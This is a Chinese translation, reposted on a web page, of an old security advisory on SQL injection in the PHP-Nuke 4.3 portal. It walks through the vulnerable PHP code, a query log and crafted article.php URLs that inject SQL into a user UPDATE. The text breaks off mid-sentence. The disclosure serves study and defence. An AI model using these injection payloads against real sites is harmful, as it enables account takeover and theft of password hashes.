网络通信 频道

PHP-Nuke web中心系统中用户登录SQ hacking

之所以翻译这个文章,是因为它非常细致完整地描述了发现安全漏洞的过程,包括成功的和不成功的尝试,提供了一些有用的技术和思路。PHP-Nuke本身的这些已被发现的漏洞会很快被修补,但发现问题的思路不会有大的改变,所以关键在于学习他的思路。文中可能有一些理解或翻译上的错误,原文可以在找到:

http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2

-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----

RFPlutonium to fuel your PHP-Nuke

SQL hacking user logins in PHP-Nuke web portal

------------------------------------/ rain forest puppy / rfp@wiretrip.net

目录:

-/ 1 / 标准的建议信息

-/ 2 / 总览

-/ 3 / 细解

-/ 4 / 其他手段

-/ 5 / 解决方案

--------------------------------------------------------------------------

声明:没人强迫你读这个,不想看的话你可以不看

--------------------------------------------------------------------------

-/ 1 / 标准的建议信息 /------------------------------------

软件包: PHP-Nuke

厂商主页: www.phpnuke.org

测试过的版本: 4.3

平台: 独立于平台(PHP)

联系厂商时间: 12/29/2000

CVE 候选号: CAN-2001-0001

脆弱性类型: 访问验证弱点(普通用户和管理员)

RFPolicy v2: http://www.wiretrip.net/rfp/policy.html

以前存在问题: 绕过管理员认证, Aug 2000

BID: 1592 CVE:CVE-2000-0745 SAC: 00.35.032

当前版本:4.4 (可能还是有问题,未测试)

-/ 2 / 总览 /------------------------------------------

  PHP-Nuke 是一个用PHP实现的网站和新闻中心系统。我对它的外表和提供的功能印象深刻,决定在以后的两个项目中用到它。就象我决定使用的其他代码一样,我会对那些代码做一个快速的审核(开放源码万岁)。我对代码整体上是满意的,它的确消除了一些有关SQL的安全问题。

  我觉得把这个脆弱性的如何工作的整个过程揭示出来,从教育的眼光来看,比只写什么“PHP-Nuke是可脆弱的”有意义的多。如果你想了解更多关于SQL hacking,应该看看RFP2K01,在:

http://www.wiretrip.net/rfp/p/doc.asp?id=42

  这并不是个非常有用的入侵,它只是允许你冒充其他用户得到他们加密后的口令。它也给攻击者暴力破解用户或管理员的口令提供了可能性。

-/ 3 / 细解 /--------------------------------------

  首先,为了更好地辅助SQL hacking,打开SQL查询的记录选项是有帮助的。对MySQL来说只要在(safe_mysqld)启动的时候加上''-l logfile''参数就行了。

  其次,让我们看一下代码。因为是用PHP写的而且用MySQL,我们的目标函数当然是mysql_query()了。让我们把所有的mysql_query()都grep出来:

[rfp@cide nuke]# ls

admin/ config.php index.php print.php topics.php

admin.php counter.php language scroller.js ultramode.txt

article.php dhtmllib.js links.php search.php upgrades

auth.inc.php faq.php mainfile.php sections.php user.php

backend.php footer.php manual/ stats.php voteinclude.php

banners.php friend.php memberslist.php submit.php

cache/ header.php pollBooth.php themes/

comments.php images/ pollcomments.php top.php

[rfp@cide nuke]# grep mysql_query *

admin.php: $result = mysql_query("SELECT qid FROM queue");

.... 超过254条SQL queries就不贴在这了 ....

让我们来看看那些带有变量的语句,因为里面可能带有用户的输入。例如一些select语句:

article.php: mysql_query("update users set umode=''$mode'',

uorder=''$order'', thold=''$thold'' where uid=''$cookie[0]''");

banners.php: mysql_query("delete from banner where bid=$bid");

comments.php: $something = mysql_query("$q");

user.php: $result = mysql_query("select email, pass from users where

(uname=''$uname'')");

index.php: mysql_query("insert into referer values (NULL, ''$referer'')");

  来自 article.php 的查询带有四个变量: $mode, $order, $thold,和 $cookie[0]。 comments.php 很有趣,看起来整个查询放在$q变量中,这意味着我们必须到文件中去看那个变量的值是什么,在文件中,我们可以看到:

$q = "select tid, pid, sid, date, name, email, url, host_name,

subject, comment, score, reason from comments where sid=$sid

and pid=$pid";

if($thold != "") {

$q .= " and score>=$thold";

} else {

$q .= " and score>=0";

}

if ($order==1) $q .= " order by date desc";

if ($order==2) $q .= " order by score desc";

  所以我们可以看到$q里用到了变量$sid和$pid,可能还有$thold,如果它被定义了的话。

  现在我们该怎么办?让我们来看看那些变量里到底有些什么。我们从article.php中的那个查询开始。去掉注释后,实际的代码是这样的:

if(!isset($mainfile)) { include("mainfile.php"); }

if(!isset($sid) && !isset($tid)) { exit(); }

if($save) {

cookiedecode($user);

mysql_query("update users set umode=''$mode'', uorder=''$order'',

thold=''$thold'' where uid=''$cookie[0]''");

getusrinfo($user);

$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".

"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".

"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");

setcookie("user","$info",time()+$cookieusrtime);

}

(注意:为了在这个安全公告中显示,代码格式做了些调整)

  我们看到对变量$mode, $order, $thold, 和$cookie[0]并没有明显的处理。然而,mainfile.php被包含进来而且在函数cookiedecode()中可能会有些处理,所以我们也应该看看它们。

我们先得看看mainfile.php里是不是已经定义了变量 $mode, $order,$thold, or $cookie:

[rfp@cide nuke]# grep \$mode mainfile.php

[rfp@cide nuke]# grep \$order mainfile.php

[rfp@cide nuke]# grep \$thold mainfile.php

[rfp@cide nuke]#

  嗯, 可以看出mainfile.php 没有对那些变量做任何处理。然而有一个多余的变量$cookie被返回了(在这看不到)。这是因为在mainfile.php中有函数cookiedecode() (和其他相似的函数)。cookiedecode() 的代码是这样的:

function cookiedecode($user) {

global $cookie;

$user = base64_decode($user);

$cookie = explode(":", $user);

return $cookie;

}

cookiedecode()调用取到变量$user的值,用base64方式解码,以’:’为定界符分成几个部分,放入$cookie[]数组。这是有意义的,因为上面的SQL查询用到了$cookie[0],数组的第一个元素。

怪?那个$user 变量是从哪来的呢? grep 一下mainfile.php 可以知道$user 变量只在这个函数中被用到。

好啊。这意味着作者对变量$user(他被解码并拆分成$cookie[0]数组), $mode, $order, $thold什么都没干。对那些不熟悉PHP的人说一声,PHP会为从URL得到的参数各自己分配一个全局变量。例如,下面的查询:

/somefile.php?varb1=rain&value2=forest¶m3=puppy

  会在脚本中定义出三个全局变量$varb1, $value2, 和$param3,它们的值分别为''rain'', ''forest'', and ''puppy''。这意味着如果我们以如下的URL向article.php提交,我们可以为变量$mode, $order,和$thold赋上任意的值:

/article.php?mode=rain&order=forest&thold=puppy

在我们做这些之前,别忘了以下的程序片断:

if($save) {

...

这意味着变量$save必须被设置。grep一下mainfile.php看不到变量$save,所以我们应该在URL中设置它的值:

/article.php?mode=rain&order=forest&thold=puppy&save=1

让我们试试吧。对这个页面发出请求,没有东西返回,因为我忘掉了下面的这行:

if(!isset($sid) && !isset($tid)) { exit(); }

我们需要把$sid 和$tid变量加到URL行,现在是这样了:

/article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0

这次返回了一个错误页面。看看我们的mysql日志记录,有一个条目:

1 Query update users set umode=''rain'', uorder=''forest'',

thold=''puppy'' where uid=''''

  这证明确实起作用了。现在我们把数据提交给SQL查询,看看我们是不是能“干预”那个查询。我们试图重写那个查询以加入其他的SQL代码。这样做需要一些欺骗的技巧:加入一些额外的单引号。我们所做的是把$thold改成这样的:

puppy'', thold=''puppy

这样的结果是查询语句会变成这样:

update users set umode=''rain'', uorder=''forest'',

thold=''puppy'', thold=''puppy'' where uid=''''

^^^^^^^^^^^^^^^^^^^^

我们提交的数据

  当然,这不是个有用的SQL语句,但我们只是想证明一下我们的利用方法。让我们来把这些放到URL里提交上去:

/article.php?mode=rain&order=forest&thold=puppy'',%20thold=''puppy& save=1&sid=0&tid=0

(注意:URL 是不

文章转载地址:http://www.cnpaf.net/Class/hack/06101110491596582596.html

0
相关文章